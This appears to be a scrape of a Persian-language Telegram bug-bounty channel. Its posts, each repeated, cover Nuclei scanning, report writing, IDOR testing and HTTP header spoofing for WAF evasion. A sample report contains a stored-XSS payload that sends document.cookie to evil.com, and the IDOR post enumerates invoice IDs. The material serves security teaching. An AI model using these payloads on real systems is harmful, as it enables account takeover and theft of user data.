🔐 **Nuclei: اسکنر آسیبپذیری که باید بشناسی**
یک ابزار، هزاران Template، میلیونها آسیبپذیری کشفشده. اگه هنوز دستی دنبال باگ میگردی، وقتشه آپگرید کنی.
**Nuclei** یه اسکنر متنباز از تیم ProjectDiscovery هست که با Template-های YAML کار میکنه. برخلاف اسکنرهای سنگین، سریع، سبک و قابلشخصیسازیه. میتونی برای CVEهای جدید، Misconfig، Exposed Panels و حتی Fuzzing ازش استفاده کنی.
قدرت اصلی Nuclei توی جامعهشه. بیش از ۸۰۰۰ تمپلیت آماده داره که مدام آپدیت میشن. یه CVE جدید میاد؟ معمولاً ظرف ۲۴ ساعت تمپلیتش آمادهست. این یعنی همیشه یه قدم جلوتری.
نکته کلیدی: Nuclei رو با ابزارهای دیگه مثل subfinder و httpx ترکیب کن. یه پایپلاین Recon بساز که خودکار سابدامین پیدا کنه، فیلتر کنه و اسکن بزنه.
💻 **مثال عملی:**
```bash
# نصب سریع
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# اسکن با تمپلیتهای CVE روی لیست تارگت
nuclei -l targets.txt -t cves/ -severity critical,high -o results.txt
# ترکیب با httpx برای اسکن زنده
cat subdomains.txt | httpx -silent | nuclei -t exposures/ -t misconfigurations/
```
🔗 **ابزار/منبع:** github.com/projectdiscovery/nuclei
#SecurityTools #ابزار_امنیتی #Nuclei #BugBounty
@codacker_ir
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
یک ابزار، هزاران Template، میلیونها آسیبپذیری کشفشده. اگه هنوز دستی دنبال باگ میگردی، وقتشه آپگرید کنی.
**Nuclei** یه اسکنر متنباز از تیم ProjectDiscovery هست که با Template-های YAML کار میکنه. برخلاف اسکنرهای سنگین، سریع، سبک و قابلشخصیسازیه. میتونی برای CVEهای جدید، Misconfig، Exposed Panels و حتی Fuzzing ازش استفاده کنی.
قدرت اصلی Nuclei توی جامعهشه. بیش از ۸۰۰۰ تمپلیت آماده داره که مدام آپدیت میشن. یه CVE جدید میاد؟ معمولاً ظرف ۲۴ ساعت تمپلیتش آمادهست. این یعنی همیشه یه قدم جلوتری.
نکته کلیدی: Nuclei رو با ابزارهای دیگه مثل subfinder و httpx ترکیب کن. یه پایپلاین Recon بساز که خودکار سابدامین پیدا کنه، فیلتر کنه و اسکن بزنه.
💻 **مثال عملی:**
```bash
# نصب سریع
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# اسکن با تمپلیتهای CVE روی لیست تارگت
nuclei -l targets.txt -t cves/ -severity critical,high -o results.txt
# ترکیب با httpx برای اسکن زنده
cat subdomains.txt | httpx -silent | nuclei -t exposures/ -t misconfigurations/
```
🔗 **ابزار/منبع:** github.com/projectdiscovery/nuclei
#SecurityTools #ابزار_امنیتی #Nuclei #BugBounty
@codacker_ir
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
GitHub
GitHub - projectdiscovery/nuclei: Nuclei is a fast, customizable vulnerability scanner powered by the global security community…
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the ...
❤11
🔐 **اشتباه رایج: چرا ۹۰٪ گزارشهای Bug Bounty ریجکت میشن؟**
گزارش باگ نوشتی، PoC داری، ولی تریاژر زده "Informative"؟ مشکل از باگ نیست، از نحوه ارائهته.
**❌ اشتباه اول: Impact نامشخص**
نوشتن "XSS پیدا کردم" کافی نیست. باید بگی این XSS چطور به Account Takeover یا Session Hijacking منجر میشه. تریاژرها وقت ندارن حدس بزنن چرا باگت مهمه.
**❌ اشتباه دوم: PoC ناقص**
اسکرینشات از alert(1) هیچکسی رو قانع نمیکنه. باید payload عملیاتی بزنی که cookie بدزده یا action انجام بده. نشون بده اگه attacker واقعی بود چیکار میکرد.
**❌ اشتباه سوم: Scope رو نخوندی**
نصف گزارشهای ریجکتشده روی subdomain یا assetی هستن که اصلاً توی scope نیست. ۱۰ دقیقه خوندن policy از ۱۰ ساعت کار بیخود جلوگیری میکنه.
💻 **مثال گزارش حرفهای:**
```
## Title
Stored XSS in profile bio leads to session hijacking
## Impact
Attacker can steal admin cookies → Full account takeover
## Steps to Reproduce
1. Go to /settings/profile
2. In bio field, enter: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
3. Save and share profile link with victim
## Severity
High (CVSS 8.1)
```
🔗 **ابزار/منبع:** HackerOne Disclosure Guidelines + CVSS Calculator
#BugBounty #باگ_بانتی
@codacker_ir
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
گزارش باگ نوشتی، PoC داری، ولی تریاژر زده "Informative"؟ مشکل از باگ نیست، از نحوه ارائهته.
**❌ اشتباه اول: Impact نامشخص**
نوشتن "XSS پیدا کردم" کافی نیست. باید بگی این XSS چطور به Account Takeover یا Session Hijacking منجر میشه. تریاژرها وقت ندارن حدس بزنن چرا باگت مهمه.
**❌ اشتباه دوم: PoC ناقص**
اسکرینشات از alert(1) هیچکسی رو قانع نمیکنه. باید payload عملیاتی بزنی که cookie بدزده یا action انجام بده. نشون بده اگه attacker واقعی بود چیکار میکرد.
**❌ اشتباه سوم: Scope رو نخوندی**
نصف گزارشهای ریجکتشده روی subdomain یا assetی هستن که اصلاً توی scope نیست. ۱۰ دقیقه خوندن policy از ۱۰ ساعت کار بیخود جلوگیری میکنه.
💻 **مثال گزارش حرفهای:**
```
## Title
Stored XSS in profile bio leads to session hijacking
## Impact
Attacker can steal admin cookies → Full account takeover
## Steps to Reproduce
1. Go to /settings/profile
2. In bio field, enter: <img src=x onerror="fetch('https://evil.com/'+document.cookie)">
3. Save and share profile link with victim
## Severity
High (CVSS 8.1)
```
🔗 **ابزار/منبع:** HackerOne Disclosure Guidelines + CVSS Calculator
#BugBounty #باگ_بانتی
@codacker_ir
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
👍3
🔐 **حمله IDOR: وقتی یک عدد ساده، کل دیتابیس رو لو میده**
یکی از سادهترین و در عین حال مخربترین آسیبپذیریهای وب، جایی پنهانه که کمتر کسی بهش شک میکنه: همون عدد توی URL.
**IDOR یا Insecure Direct Object Reference** زمانی رخ میده که سرور بدون اعتبارسنجی مناسب، به یه شناسه (مثل user_id یا order_id) اعتماد میکنه. کافیه مهاجم عدد ۱۰۲۳ رو به ۱۰۲۴ تغییر بده و به اطلاعات کاربر دیگه دسترسی پیدا کنه.
این باگ توی OWASP Top 10 زیرمجموعه **Broken Access Control** قرار داره و دلیلش معمولاً یه اشتباه رایج توسعهدهندههاست: فرض بر اینکه "کاربر این URL رو نمیبینه پس امنه" 🙄
برای تست، هر جا پارامتر عددی دیدی (id, uid, doc, file) تغییرش بده. Sequential باشه؟ جای شک داره. UUID هم همیشه امن نیست اگه predictable باشه.
💻 **مثال عملی:**
```
# درخواست اصلی کاربر
GET /api/invoices?id=4521
# تست IDOR - تغییر شناسه
GET /api/invoices?id=4522
GET /api/invoices?id=4520
# با Burp Intruder اتوماتیک تست کن
# Payload: Numbers 1-10000
```
🔗 **ابزار/منبع:** Burp Suite + Autorize Extension
#WebHacking #هک_وب #OWASP #IDOR #BugBounty
@codacker_ir
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
یکی از سادهترین و در عین حال مخربترین آسیبپذیریهای وب، جایی پنهانه که کمتر کسی بهش شک میکنه: همون عدد توی URL.
**IDOR یا Insecure Direct Object Reference** زمانی رخ میده که سرور بدون اعتبارسنجی مناسب، به یه شناسه (مثل user_id یا order_id) اعتماد میکنه. کافیه مهاجم عدد ۱۰۲۳ رو به ۱۰۲۴ تغییر بده و به اطلاعات کاربر دیگه دسترسی پیدا کنه.
این باگ توی OWASP Top 10 زیرمجموعه **Broken Access Control** قرار داره و دلیلش معمولاً یه اشتباه رایج توسعهدهندههاست: فرض بر اینکه "کاربر این URL رو نمیبینه پس امنه" 🙄
برای تست، هر جا پارامتر عددی دیدی (id, uid, doc, file) تغییرش بده. Sequential باشه؟ جای شک داره. UUID هم همیشه امن نیست اگه predictable باشه.
💻 **مثال عملی:**
```
# درخواست اصلی کاربر
GET /api/invoices?id=4521
# تست IDOR - تغییر شناسه
GET /api/invoices?id=4522
GET /api/invoices?id=4520
# با Burp Intruder اتوماتیک تست کن
# Payload: Numbers 1-10000
```
🔗 **ابزار/منبع:** Burp Suite + Autorize Extension
#WebHacking #هک_وب #OWASP #IDOR #BugBounty
@codacker_ir
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
👍3
اولین برنامهات رو اشتباه انتخاب کردی
یه نفر تو دیسکورد پرسید: «شش ماهه روی HackerOne کار میکنم، هنوز هیچی پیدا نکردم — مشکل از منه؟»
وقتی پرسیدم روی کدوم برنامه کار میکنه، گفت: Google.
اینجاست که اکثرا اشتباه میکنن — نه تو تکنیک، تو انتخاب.
برنامههای بزرگ مثل Google، Apple، Facebook رو هزار نفر قبل از تو زیر و رو کردن. Attack surface هنوز هست، ولی باگهای سطحی مدتهاست که رفتن. تازهکار اگه بره سراغ اینا، نه باگ پیدا میکنه، نه یاد میگیره — فقط خسته میشه.
پس چی انتخاب کن؟
دنبال برنامههایی بگرد که **عمر کمتری دارن** — برنامههایی که تازه به پلتفرم اضافه شدن. روی HackerOne فیلتر بزن روی «Launched» و تاریخ رو مرتب کن. برنامههای جوون، scope گستردهتری دارن و رقیب کمتری. یه برنامهی SaaS کوچیک که سه ماه پیش لانچ شده، به مراتب بهتر از یه غول ششسالهست.
یه فاکتور مهم دیگه: **response rate** برنامه رو چک کن. بعضی برنامهها گزارش میگیرن، جواب نمیدن. قبل از شروع، تو Disclosure tab ببین تیم چقد فعاله.
یه روش ساده برای فیلتر کردن برنامههای مناسب روی HackerOne:
```
فیلترها:
- Bounties: Yes
- Managed: Yes (تیم تریاژ داره — جواب سریعتره)
- Age: کمتر از ۱ سال
- Scope: Web Application
```
بعد برو تو scope برنامه، ببین wildcard دارن یا نه — مثلاً `*.example.com` یعنی سطح حملهی بزرگتر و شانس بیشتر.
شروع درست، نصف راهه. اگه از همون اول برنامهی اشتباه انتخاب کنی، نه باگ میبینی، نه انگیزه میمونه.
#BugBounty
@codacker_ir
**هک یه ابزار نیست. یه طرز فکره.**
یه نفر تو دیسکورد پرسید: «شش ماهه روی HackerOne کار میکنم، هنوز هیچی پیدا نکردم — مشکل از منه؟»
وقتی پرسیدم روی کدوم برنامه کار میکنه، گفت: Google.
اینجاست که اکثرا اشتباه میکنن — نه تو تکنیک، تو انتخاب.
برنامههای بزرگ مثل Google، Apple، Facebook رو هزار نفر قبل از تو زیر و رو کردن. Attack surface هنوز هست، ولی باگهای سطحی مدتهاست که رفتن. تازهکار اگه بره سراغ اینا، نه باگ پیدا میکنه، نه یاد میگیره — فقط خسته میشه.
پس چی انتخاب کن؟
دنبال برنامههایی بگرد که **عمر کمتری دارن** — برنامههایی که تازه به پلتفرم اضافه شدن. روی HackerOne فیلتر بزن روی «Launched» و تاریخ رو مرتب کن. برنامههای جوون، scope گستردهتری دارن و رقیب کمتری. یه برنامهی SaaS کوچیک که سه ماه پیش لانچ شده، به مراتب بهتر از یه غول ششسالهست.
یه فاکتور مهم دیگه: **response rate** برنامه رو چک کن. بعضی برنامهها گزارش میگیرن، جواب نمیدن. قبل از شروع، تو Disclosure tab ببین تیم چقد فعاله.
یه روش ساده برای فیلتر کردن برنامههای مناسب روی HackerOne:
```
فیلترها:
- Bounties: Yes
- Managed: Yes (تیم تریاژ داره — جواب سریعتره)
- Age: کمتر از ۱ سال
- Scope: Web Application
```
بعد برو تو scope برنامه، ببین wildcard دارن یا نه — مثلاً `*.example.com` یعنی سطح حملهی بزرگتر و شانس بیشتر.
شروع درست، نصف راهه. اگه از همون اول برنامهی اشتباه انتخاب کنی، نه باگ میبینی، نه انگیزه میمونه.
#BugBounty
@codacker_ir
**هک یه ابزار نیست. یه طرز فکره.**
🔥4
🔐 وقتی پایتون مثل یه جاسوس مرورگرت رو تقلید میکنه
چرا بعضی اسکریپتها بلاک میشن و بعضی نه؟ جواب تو HTTP Headers مخفیه.
---
وقتی با `requests.get()` یه سایت رو میزنی، سرور میفهمه که این یه اسکریپته نه یه انسان. چرا؟ چون User-Agent پیشفرض پایتون مثل این میمونه که با تابلو "من رباتم" وارد بشی. سرورهای هوشمند این درخواستها رو فیلتر میکنن.
Header Spoofing یعنی درخواست HTTP خودت رو طوری بسازی که شبیه یه مرورگر واقعی به نظر برسه. این تکنیک هم تو Bug Bounty کاربرد داره، هم تو Web Scraping، هم وقتی میخوای WAF رو دور بزنی و ببینی پشتش چی هست.
نکته کلیدی اینه که فقط User-Agent کافی نیست. سرورهای پیشرفتهتر Accept، Accept-Language و حتی ترتیب هدرها رو هم چک میکنن. یه درخواست واقعی Chrome دهها هدر داره که همه باید منطقی باشن.
---
💻 مثال عملی:
```python
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
}
response = requests.get('https://target.com', headers=headers)
print(response.status_code)
```
---
🔗 ابزار/منبع: httpbin.org/headers برای تست هدرهایی که میفرستی
#python #webscraping #bugbounty #headers #هک_اخلاقی
@codacker
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
چرا بعضی اسکریپتها بلاک میشن و بعضی نه؟ جواب تو HTTP Headers مخفیه.
---
وقتی با `requests.get()` یه سایت رو میزنی، سرور میفهمه که این یه اسکریپته نه یه انسان. چرا؟ چون User-Agent پیشفرض پایتون مثل این میمونه که با تابلو "من رباتم" وارد بشی. سرورهای هوشمند این درخواستها رو فیلتر میکنن.
Header Spoofing یعنی درخواست HTTP خودت رو طوری بسازی که شبیه یه مرورگر واقعی به نظر برسه. این تکنیک هم تو Bug Bounty کاربرد داره، هم تو Web Scraping، هم وقتی میخوای WAF رو دور بزنی و ببینی پشتش چی هست.
نکته کلیدی اینه که فقط User-Agent کافی نیست. سرورهای پیشرفتهتر Accept، Accept-Language و حتی ترتیب هدرها رو هم چک میکنن. یه درخواست واقعی Chrome دهها هدر داره که همه باید منطقی باشن.
---
💻 مثال عملی:
```python
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
}
response = requests.get('https://target.com', headers=headers)
print(response.status_code)
```
---
🔗 ابزار/منبع: httpbin.org/headers برای تست هدرهایی که میفرستی
#python #webscraping #bugbounty #headers #هک_اخلاقی
@codacker
―――――――――――――――――
🎓 مسترکلاس یادگیری هک از صفر تا حرفهای
🔗 codacker.ir/product/hs-masterclass
Target
Target : Expect More. Pay Less.
Shop Target online and in-store for everything from groceries and essentials to clothing and electronics. Choose contactless pickup or delivery today.
👍3